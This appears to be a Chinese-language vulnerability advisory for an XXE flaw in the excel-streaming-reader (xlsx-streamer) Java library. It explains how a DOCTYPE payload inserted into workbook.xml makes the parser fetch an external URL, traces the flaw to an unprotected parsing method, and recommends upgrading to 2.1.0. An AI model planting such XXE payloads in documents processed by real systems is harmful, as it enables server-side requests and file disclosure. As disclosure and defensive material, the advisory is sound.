excel-streaming-reader XXE漏洞
漏洞描述
Apache POI是Apache軟件基金會的開放源碼程序庫,POI提供API給Java程序對Microsoft Office格式檔案讀和寫的功能。對于 excel 讀取,經常在讀取某些特別大的 excel 文件的時候都會帶來一個內存溢出的問題,而excel-streaming-reader就是為了解決該場景導致的一系列問題,它可以流式的讀取 xlsx 文件,將一些特別大的文件拆分成小的文件去讀。
漏洞復現過程
編寫利用excel-streaming-reader讀取xlsx的代碼,如下圖所示
將xlsx文件用rar打開,找到workbook.xml,在xml文件中加入XXE漏洞POC
<!DOCTYPE root[ <!ENTITY % d SYSTEM "http://www.zhutougg.com/aaaaaaaaaaaaaaa"> %d;]> |
執行讀取該xlsx文件,即會執行xml文件中的命令
漏洞分析
com.monitorjbl.xlsx.StreamingReader.Builder.open(InputStream)方法時會對workbook進行初始化
在com.monitorjbl.xlsx.impl.StreamingWorkbookReader.init(File)方法中,會將workbook.xml內容傳入document()方法中
而document()方法未對xxe漏洞進行防御,從而導致了XXE漏洞。
受影響版本
2.0.0版本及以下版本
修復方式
1.直接更新至最新版本(2.1.0)
<dependency>
<groupId>com.monitorjbl</groupId>
<artifactId>xlsx-streamer</artifactId>
<version>2.1.0</version>
</dependency>
-